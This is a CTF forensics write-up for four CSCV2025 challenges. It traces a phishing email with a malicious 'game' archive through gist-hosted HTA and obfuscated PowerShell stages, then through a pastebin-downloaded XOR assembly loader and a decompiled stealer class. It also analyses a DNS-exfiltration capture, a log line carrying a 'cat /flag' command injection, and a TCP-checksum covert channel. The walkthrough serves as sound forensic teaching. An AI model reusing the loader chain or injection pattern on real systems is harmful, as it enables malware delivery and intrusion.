# NostalgiaS - We are given an `.ad1` image. - Mount it, navigate into `Users/kadoya/AppData/Local/Microsoft/Outlook/`, we can read the emails that were sent to Mr. Kadoya. - Inside one of them reads: ```! Hi player, I’m sharing something special with you today — a piece of childhood we all loved: the game Moly. Moly tells the touching story of a red-nosed mole and its friend Dau Dau. Together, they escape a burning forest and rebuild their lives in a peaceful snowy land — growing crops, raising animals, and building a new home filled with warmth and friendship. For many of us, Moly wasn’t just a game. It was a memory — quiet evenings, simple adventures, and that gentle happiness only old games can bring. You can find the game file attached. Password: playmoly2025. Run game by click "playmoly". I hope you’ll take a moment to revisit this little world — and relive the feeling of those days again. Enjoy your journey, ACE Team Moly ``` - Which tells us that Mr.Kadoya ran a hidden malware inside `playmoly`. - By extracting the archive from the mailbox, we unzip the file with the password: `playmoly2025` - Inside the file is a script that contains a peculiar line: ```javascript! var remoteHtaUrl = 'https://gist.githubusercontent.com/oumazio/ad5626973af6118062ae401c1e788464/raw/725302cda73d10e260e2ed0f26d935e576d3bc1c/FlashInstaller.hta'; ``` - By accessing the link, we are met with yet another file, this time containing the so-called "game code". Upon further inspection, the file connects to another Github GIST ```javascript! var logo = "https://gist.githubusercontent.com/oumazio/d2b2cbbe1ad51fd956815e78e6bfe31d/raw/2e34af3f8aac3392f07a1d59013cc8897dda8f3a/something.txt"; ``` - Accessing the link hands us yet another script, this time heavily obfuscated. Upon even further inspection, the script downloads another script. ```bash! $ grep 'https' something.txt https://gist.githubusercontent.com/oumazio/fdd0b2711ab501b30b53039fa32bc9ca/raw/ca4f9da41c5c64b3b43f4b0416f8ee0d0e400803/secr3t.txt ``` - Inside is yet another obfuscated script. ```powershell! Iex(neW-obJecT iO.cOMPrESsion.DeflaTEStreAM([iO.meMORysTrEAM] [convErt]::FroMbase64sTrInG('hVNhb9owEP2OxH+wUCSCIIZO06Qy7QNt1a1rxyZg6ybEJic5iFfHzhxTiLr+953BlKSgNV+i3N17797lzhvkOaShKL5qQd6RRmJMlve73YzlBkIuaaTSrmar7mnvD/wYfxg06jXvu9LXUGB5b/3qNX5PigyGLAVLMDbABOiPTDKOYA10xGPQ1zy6s9BPYBIV74pHS4nBes3ogjzUawQf7xbCc8FBGiwYwir4HP6GyJBxgQ2ldAiGPlU4BMhIxRCfK2m2sD0HvVArKRSLx0ZzufC9kt3Wc0F6wfNM5eC7jMsnsP7GxBJyy1zVohPNU79FgjwT3JBmp0n+ktsENOzafiDeLxKkzEQJaf7srae94HQQXLJgPmt7TfJYUXLkZ4XZiJXchxiazkq90BuQC5NsgXOlie9x+0PeEnwHwhyW2ky73drN+UBw6vEZMkzR2j1oM+v3J8om/D2TLXGWO+TkjRtT1YPSfMElE/8xUVZ92ceR6mNWKrrOy6G/IFyjhlvgY+0ztx92Em7lRjAX2D5Xku62B4dzg0vlV1Ura8PnaOXpMAIJpNEgAZMxKd/ANl51YphegLFQa2HXEH2/je1JWyVMuqG8knNlMXsGi9rK+SXZzjFvZ1zGeCKXgi1y9Dc2zPAIB4bzern6yzIUPDreEb2S9+oOG5dLITpk83q+Oo8k2pyImwOs8ZpOMPwP' ) ,[SYSTeM.io.comPRESsion.COmPRessiONmODe]::DECompResS) |FOReach-oBJeCt{ neW-obJecT SyStEM.Io.STreAmREaDeR( $_,[TEXT.EncOdiNG]::ascIi ) }| FOreacH-objeCT{$_.rEAdToeND( ) }) ``` - The script is compressed with `zlib` and encoded with base64, we can decrypt it with: ```python! $ sh -c -- "python3 - << 'PY' import base64, zlib, pathlib, sys b64 = pathlib.Path('script.txt').read_text().strip() data = base64.b64decode(b64) text = zlib.decompress(data, -zlib.MAX_WBITS).decode('ascii', errors='replace') pathlib.Path('decoded.txt').write_text(text) PY" ``` - The decoded file reads: ```java $AssemblyUrl = "https://pastebin.com/raw/90qeYSHA" $XorKey = 0x24 $TypeName = "StealerJanai.core.RiderKick" $MethodName = "Run" try { $WebClient = New-Object System.Net.WebClient $encodedContent = $WebClient.DownloadString($AssemblyUrl) $WebClient.Dispose() $hexValues = $encodedContent.Trim() -split ',' | Where-Object { $_ -match '^0x[0-9A-Fa-f]+$' } $encodedBytes = New-Object byte[] $hexValues.Length for ($i = 0; $i -lt $hexValues.Length; $i++) { $encodedBytes[$i] = [Convert]::ToByte($hexValues[$i].Trim(), 16) } $originalBytes = New-Object byte[] $encodedBytes.Length for ($i = 0; $i -lt $encodedBytes.Length; $i++) { $originalBytes[$i] = $encodedBytes[$i] -bxor $XorKey } $assembly = [System.Reflection.Assembly]::Load($originalBytes) if ($TypeName -ne "" -and $MethodName -ne "") { $targetType = $assembly.GetType($TypeName) $methodInfo = $targetType.GetMethod($MethodName, [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public) $methodInfo.Invoke($null, $null) } } catch { exit 1 } ``` - We are met with yet another script downloader, this time the script is obfuscated with XOR. ```java! $AssemblyUrl = "https://pastebin.com/raw/90qeYSHA" $XorKey = 0x24 ``` - After decoding, the script gives us a *.NET* binary, which we have to reverse engineer. The script seems to be an information collect, which have a component named `StealerJanai.component.systeminfo.SystemSecretInformationCollector.cs`, which reads: ```csharp! // StealerJanai, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // StealerJanai.component.systeminfo.SystemSecretInformationCollector using System; using System.Collections.Generic; using System.Text; using Microsoft.Win32; public class SystemSecretInformationCollector { private const string MagicChars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; public string Collect() { StringBuilder stringBuilder = new StringBuilder(); try { string text = DecodeMagicToString("AuEcc3iNuamB9JOyfS1pel55JqxgJ83"); string machineName = Environment.MachineName; string text2 = DecodeMagicToString("sA0m1sPHdceUL6HSvGAbFuhN"); string registryValue = GetRegistryValue(); string value = text + machineName + "_" + text2 + registryValue + "}"; stringBuilder.Append(value); } catch (Exception ex) { stringBuilder.AppendLine($"Error: {ex.Message}"); } return stringBuilder.ToString(); } private string DecodeMagicToString(string input) { try { if (string.IsNullOrEmpty(input)) { return string.Empty; } List<byte> list = new List<byte>(); foreach (char value in input) { int num = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".IndexOf(value); if (num < 0) { return "Invalid character"; } int num2 = num; for (int num3 = list.Count - 1; num3 >= 0; num3--) { int num4 = list[num3] * 62 + num2; list[num3] = (byte)(num4 % 256); num2 = num4 / 256; } while (num2 > 0) { list.Insert(0, (byte)(num2 % 256)); num2 /= 256; } } int j; for (j = 0; j < list.Count && list[j] == 0; j++) { } if (j >= list.Count) { return string.Empty; } byte[] array = new byte[list.Count - j]; for (int k = 0; k < array.Length; k++) { array[k] = list[j + k]; } return Encoding.ASCII.GetString(array); } catch (Exception ex) { return "Decode error: " + ex.Message; } } private string GetRegistryValue() { try { using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\hensh1n")) { if (registryKey != null) { object value = registryKey.GetValue(""); if (value != null) { return value.ToString(); } } } return "Registry key not found"; } catch (Exception ex) { return "Registry error: " + ex.Message; } } } ``` - From this clue: ```csharp string text = DecodeMagicToString("AuEcc3iNuamB9JOyfS1pel55JqxgJ83"); string machineName = Environment.MachineName; string text2 = DecodeMagicToString("sA0m1sPHdceUL6HSvGAbFuhN"); string registryValue = GetRegistryValue(); string value = text + machineName + "_" + text2 + registryValue + "}"; ``` - The flag format seems to be `<text1_decoded>_<machineName>_<text2_decoded><registryValue>}` - Decoding the text with script gives us: - `text1`: `CSCV2025{your_computer_` - `text2`: `has_be3n_kicked_by` - Which gives us: `CSCV2025{your_computer_<machineName>_has_be3n_kicked_by<registryValue>}` - To find the machine name, we can read the logs. ```bash! $ evtx_dump 'Windows/System32/winevt/Logs/Application.evtx' | grep '<Computer>' <Computer>DESKTOP-47ICHL6</Computer> ``` - Which gives us: `DESKTOP-47ICHL6` - Finally, we need to get the registry value. ```csharp! using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\hensh1n")) ``` - The registry is under `SOFTWARE\\hensh1n`, which we can read with `hivex` ```bash! $ hivexget 'Users/kadoyat/NTUSER.DAT' 'SOFTWARE\\hensh1n' "@"="HxrYJgdu" ``` - Which gives us `HxrYJgdu`, combining all of them gives us the flag. Flag: `CSCV2025{your_computer_DESKTOP-47ICHL6_has_be3n_kicked_byHxrYJgdu}` # Case AlphaS - We are given an `.ad1` image and a Bitlocker drive. ``` . ├── evidences.ad1 ├── evidences.ad1.txt ├── external.vhdx └── ReadMe.pdf ``` - Going to `Windows/Prefetch`, this is where windows keep cache of ran applications, we can see the suspect has ran apps like `ChatGPT` and `SimpeNotes` from the prefetch files: - `CHATGPT.EXE-0140405B.pf` - `SIMPLENOTE.EXE-0ED0EC4F.pf` - These apps usually store logs on the devices inside `AppData`. - We then find traces of a Bitlocker password inside `Users/windows/AppData`. ```bash! $ find ./AppData/Local/Packages/OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0-type f -exec grep -Hnl 'bitlocker' {} \; ./AppData/Local/Packages/OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0/LocalCache/Roaming/ChatGPT/Local Storage/leveldb/000003.log ``` - The Bitlocker key is stored inside `000003.log`, which we can extract. ```bash $ strings './AppData/Local/Packages/OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0/LocalCache/Roaming/ChatGPT/Local Storage/leveldb/000003.log' | grep 'bitlocker' {"drafts":[{"id":"null_thread","content":"I've locked my drive with this bitlocker key 028853-431640-166364-032076-217943-045837-542388-281017","timestamp":1759586173510}],"userId":"user-2smrET6gmFXbt2Kc8fCX9h2y"} {"drafts":[{"id":"null_thread","content":"I've locked my drive with this bitlocker key 028853-431640-166364-032076-217943-045837-542388-281017 and put the key in my usb","timestamp":1759586182351}],"userId":"user-2smrET6gmFXbt2Kc8fCX9h2y"} {"drafts":[{"id":"null_thread","content":"I've locked my drive with this bitlocker key 028853-431640-166364-032076-217943-045837-542388-281017 and put the key in my usb. If I lost my usb, ","timestamp":1759586191824}],"userId":"user-2smrET6gmFXbt2Kc8fCX9h2y"} ``` - The Bitlocker key is `028853-431640-166364-032076-217943-045837-542388-281017` - Using this key, we are able to get the file `secret.zip` out of the drive. Unfortunately, this zip file is also locked with a password. - From our previous clues, the suspect also installed `SimpleNotes`, which could also be where they stored the zip password. ```bash! $ find ./AppData/Local/Packages/22490Automattic.Simplenote_9h07f78gwnchp/ -type f -exec grep -Hnl 'zip password' {} \; ./AppData/Local/Packages/22490Automattic.Simplenote_9h07f78gwnchp/LocalCache/Roaming/Simplenote/IndexedDB/file__0.indexeddb.leveldb/000003.log $ strings './AppData/Local/Packages/22490Automattic.Simplenote_9h07f78gwnchp/LocalCache/Roaming/Simplenote/IndexedDB/file__0.indexeddb.leveldb/000003.log' ... content"Ozip password: 5525b8d2d8534b716467493f3660b11e1c44b22cd0c97275619b94a0e5c82fda" ... ``` - The zip password is `5525b8d2d8534b716467493f3660b11e1c44b22cd0c97275619b94a0e5c82fda` - Extracting it gives us `ssh.txt`, which reads: ``` # access via vpn or proxy if you are blocked https://pastebin.com/WciYiDEs cff4c6f0b68c31cb ``` - Inside the pastebin: ```yaml backup-server - 192.168.10.25 - username: admin - password: F@keP@ss2025! - service: MySQL web-frontend - 192.168.10.50 - username: deploy - password: W3bP@ss!8192 - service: Apache log-collector - 192.168.10.77 - username: syslog - password: L0gs2025#@@ - service: Graylog dev-test - 192.168.12.23 - username: flag - password: h3Y_Th!s_|5_jUs7_tH3_bE9IN|\|iNg_dc8fb5bdedd10877 - service: CSCV2025 ``` :::info **NOTE**: If you can't access Pastebin with a Proxy/VPN, use this frontend instead: https://pasted.drakeerv.com/WciYiDEs ::: Flag: `CSCV2025{h3Y_Th!s_|5_jUs7_tH3_bE9IN|\|iNg_dc8fb5bdedd10877}` # DNS Exfil - We are given three files: ``` . ├── 10.10.0.53_ns_capture.pcap ├── 10.10.5.80_access.log └── 10.10.5.80_error.log ``` - From the title, we know the perpetrator exiltrated the data with the DNS protocol. ```bash! $ tshark -r 10.10.0.53_ns_capture.pcap | grep hex | awk '{print $13}' | tr -d 'A' p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com p.f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a4.hex.cloudflar3.com p.3dfec8a22cde4db4463db2c35742062a415441f526daecb59b.hex.cloudflar3.com p.f6af1ecb8cc9827a259401e850e5e07fdc3c1137f1.hex.cloudflar3.com f.6837abc6655c12c454abe0ca85a596e98473172829581235dd.hex.cloudflar3.com f.95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3.hex.cloudflar3.com ``` - We save the hexdumps into seperate files. ```sh! $ cat 'p.dump' c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a43dfec8a22cde4db4463db2c35742062a415441f526daecb59bf6af1ecb8cc9827a259401e850e5e07fdc3c1137f1 $ cat 'f.dump' 6837abc6655c12c454abe0ca85a596e98473172829581235dd95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3 ``` - Decoding the hexdumps gives us garbage data, maybe it's encrypted. - We then check out the other files ```bash! $ grep 'flag' 10.10.5.80_access.log 192.168.13.37 - - [10/Oct/2025:09:21:10 +0700] "GET /media/image1.php?c=cat%20/flag HTTP/1.1" 403 284 "-" "curl/7.88.1" ``` - Someone tried to access the flag around `09:21:20`, we now check the approximate timestamp in the other file. ```bash! $ grep '09:2.:..' 10.10.5.80_error.log ... 2025/10/10 09:26:03 [error] 1224#0: *5210 FastCGI sent in stderr: "PHP Notice: DEBUG VARS: APP_SECRET=F0r3ns1c-2025-CSCV; DATE_UTC=20251010" while reading response header from upstream, client: 192.168.13.37, server: portal.local, request: "GET /media/getfile.php?debug=true HTTP/1.1", upstream: "fastcgi://unix:/run/php/php8.2-fpm.sock:", host: "intra.portal.local" 2025/10/10 09:26:03 [error] 1224#0: *5210 FastCGI sent in stderr: "PHP Notice: H=SHA256(APP_SECRET); AES_KEY=H[0..15]; AES_IV=H[16..31]" while reading response header from upstream, client: 192.168.13.37, server: portal.local, request: "GET /media/getfile.php?debug=true HTTP/1.1", upstream: "fastcgi://unix:/run/php/php8.2-fpm.sock:", host: "intra.portal.local" ... ``` - From here we are able to find the AES Key ```bash $ echo 'F0r3ns1c-2025-CSCV' | sha256sum f17f8c9fbb0f68bf1fab0124c5bef912bd5c0c7e6750b1dd1ab0f8ea1fdd639b - ``` - Which gives us: - Key: `5769179ccdf950443501d9978f52ddb5` - IV: `1b70ca0d4f607a976c6639914af7c7a6` - Decrypting `f.dump` gives us the flag. ```bash! $ xxd -r -p 'f.dump' | openssl enc -aes-128-cbc -d -K 5769179ccdf950443501d9978f52ddb5 -iv 1b70ca0d4f607a976c6639914af7c7a6 CSCV2025{DnS_Exf1ltr4ti0nnnnnnnnnnNN!!} ``` Flag: `CSCV2025{DnS_Exf1ltr4ti0nnnnnnnnnnNN!!}` --- # CovertS - We are given a `.pcap` file, from the challenge we know that the attacker has exfiltrated our data using some sort of covert channel. - Opening up the **Conversation** tab, we can find the following results: ![this](https://hackmd.io/_uploads/SJY0M9_0lg.jpg) - A lot of data was sent towards `192.168.192.1` with no response. - We can filter the traffic with: `ip.dst == 192.168.192.1` ![yes](https://hackmd.io/_uploads/ByN0Q9dRle.jpg) - What the? All of the checksums are wrong! :::info **To validate checksums**: Right Click -> Protocol Preferences -> Transmission Control Protocol -> Validate the TCP checksum if possible ::: - The wrong checksums were sent over intentionally to covert the data. We can start extracting them with `tshark`. ```bash $ tshark -r challenge.pcapng -Y 'ip.dst == 192.168.192.1' -T fields -e tcp.checksum | sed 's/0x//g' | tr -d '\n' 53475673624738675a585a6c636e6c76626d5573445170496233636759584a6c49486c766453426b62326c755a7a3867515342325a584a3549486468636d306764325673593239745a5342306279424455304e574d6a41794e53454e4367304b5353647449484a6c595778736553426e6247466b4948527649484e6c5a53423562335567614756795a534268626d51675353426f6233426c49486c76645364795a5342795a57466b6553426d62334967595734675a58686a61585270626d63675a585a6c626e51675957686c595751754946526f61584d675131524749476c7a4947467362434268596d39316443426a61474673624756755a326c755a7942356233567949484e72615778736379776762475668636d3570626d6367626d56334948527961574e72637977675957356b4947396d49474e7664584a7a5a53417449476868646d6c755a79426d6457346759577876626d63676447686c49486468655334675132397563326c6b5a584967644768706379427361585230624755676257567a6332466e5a5342756233516759584d675953426a61474673624756755a3255676158527a5a57786d4c4342696458516763326c74634778354947467a4947313549486468655342765a69427a59586c70626d6367614756736247386764473867595778734947396d49486c7664534268625746366157356e4948427359586c6c636e4d7544516f4e436c526861325567595342746232316c626e51734947646c6443426a6232316d62334a3059574a735a5377675957356b49475675616d39354948526f5a5342796157526c4c694258614756306147567949486c76645364795a53426f5a584a6c4948527649474e766258426c644755675a6d6c6c636d4e6c62486b73494852764947786c59584a7549484e766257563061476c755a7942755a58637349473979494770316333516764473867614746325a534268494764766232516764476c745a5377675353426f6233426c49454e54513159794d4449314948647062477767596d5567595734676457356d62334a6e5a58523059574a735a53426c6548426c636d6c6c626d4e6c49475a7663694235623355674b4735766443423061476c7a49474e6f595778735a57356e5a5377676347787a49475a76636d646c6443423061476c7a49484e6f4b6e5167543139504b51304b44517042626d5167626d39334c4342336158526f623356304947746c5a584270626d6367655739314948646861585270626d63675957353549477876626d646c636934754c67304b44516f6f633239745a5739755a53426859324e705a4756756447467362486b6763325675644342746553426a6147467349485a705953426c625746706243427a6279426f5a584a6c49476c7a49486c7664584967626d563349475a73595763364b51304b4451704455304e574d6a41794e5874746556396a6147467358326476644639735a5746725a575266596d566d62334a6c5833526f5a56396a623235305a584e3058324a7964576866614756795a56397063313935623356795832356c6431396d6247466e583249344f446b78597a526c4d545133597a51314d6d493459324d324e6a51795a6a45774e4441774e4455796651304b445170655831346763334a3549475a7663694230614755676257567a63773d3d⏎ ``` - This is a hexdump, which we can read with `xxd`. ```bash $ tshark -r challenge.pcapng -Y 'ip.dst == 192.168.192.1' -T fields -e tcp.checksum | sed 's/0x//g' | tr -d '\n' | xxd -r -p SGVsbG8gZXZlcnlvbmUsDQpIb3cgYXJlIHlvdSBkb2luZz8gQSB2ZXJ5IHdhcm0gd2VsY29tZSB0byBDU0NWMjAyNSENCg0KSSdtIHJlYWxseSBnbGFkIHRvIHNlZSB5b3UgaGVyZSBhbmQgSSBob3BlIHlvdSdyZSByZWFkeSBmb3IgYW4gZXhjaXRpbmcgZXZlbnQgYWhlYWQuIFRoaXMgQ1RGIGlzIGFsbCBhYm91dCBjaGFsbGVuZ2luZyB5b3VyIHNraWxscywgbGVhcm5pbmcgbmV3IHRyaWNrcywgYW5kIG9mIGNvdXJzZSAtIGhhdmluZyBmdW4gYWxvbmcgdGhlIHdheS4gQ29uc2lkZXIgdGhpcyBsaXR0bGUgbWVzc2FnZSBub3QgYXMgYSBjaGFsbGVuZ2UgaXRzZWxmLCBidXQgc2ltcGx5IGFzIG15IHdheSBvZiBzYXlpbmcgaGVsbG8gdG8gYWxsIG9mIHlvdSBhbWF6aW5nIHBsYXllcnMuDQoNClRha2UgYSBtb21lbnQsIGdldCBjb21mb3J0YWJsZSwgYW5kIGVuam95IHRoZSByaWRlLiBXaGV0aGVyIHlvdSdyZSBoZXJlIHRvIGNvbXBldGUgZmllcmNlbHksIHRvIGxlYXJuIHNvbWV0aGluZyBuZXcsIG9yIGp1c3QgdG8gaGF2ZSBhIGdvb2QgdGltZSwgSSBob3BlIENTQ1YyMDI1IHdpbGwgYmUgYW4gdW5mb3JnZXR0YWJsZSBleHBlcmllbmNlIGZvciB5b3UgKG5vdCB0aGlzIGNoYWxsZW5nZSwgcGxzIGZvcmdldCB0aGlzIHNoKnQgT19PKQ0KDQpBbmQgbm93LCB3aXRob3V0IGtlZXBpbmcgeW91IHdhaXRpbmcgYW55IGxvbmdlci4uLg0KDQooc29tZW9uZSBhY2NpZGVudGFsbHkgc2VudCBteSBjaGFsIHZpYSBlbWFpbCBzbyBoZXJlIGlzIHlvdXIgbmV3IGZsYWc6KQ0KDQpDU0NWMjAyNXtteV9jaGFsX2dvdF9sZWFrZWRfYmVmb3JlX3RoZV9jb250ZXN0X2JydWhfaGVyZV9pc195b3VyX25ld19mbGFnX2I4ODkxYzRlMTQ3YzQ1MmI4Y2M2NjQyZjEwNDAwNDUyfQ0KDQpeX14gc3J5IGZvciB0aGUgbWVzcw==⏎ ``` - Which gives us a base64 encoded string, which translates to: ``` $ tshark -r challenge.pcapng -Y 'ip.dst == 192.168.192.1' -T fields -e tcp.checksum | sed 's/0x//g' | tr -d '\n' | xxd -r -p | base64 -d Hello everyone, How are you doing? A very warm welcome to CSCV2025! I'm really glad to see you here and I hope you're ready for an exciting event ahead. This CTF is all about challenging your skills, learning new tricks, and of course - having fun along the way. Consider this little message not as a challenge itself, but simply as my way of saying hello to all of you amazing players. Take a moment, get comfortable, and enjoy the ride. Whether you're here to compete fiercely, to learn something new, or just to have a good time, I hope CSCV2025 will be an unforgettable experience for you (not this challenge, pls forget this sh*t O_O) And now, without keeping you waiting any longer... (someone accidentally sent my chal via email so here is your new flag:) CSCV2025{my_chal_got_leaked_before_the_contest_bruh_here_is_your_new_flag_b8891c4e147c452b8cc6642f10400452} ^_^ sry for the mess⏎ ``` Flag: `CSCV2025{my_chal_got_leaked_before_the_contest_bruh_here_is_your_new_flag_b8891c4e147c452b8cc6642f10400452}` :::info **NOTE:** cam on anh s3asick5 vi hint sob sob sob 😭😭😭 **SLIGHTLY BIGGER NOTE:** All of these were solved after the event was over.$\int^{\int^\int}$ :::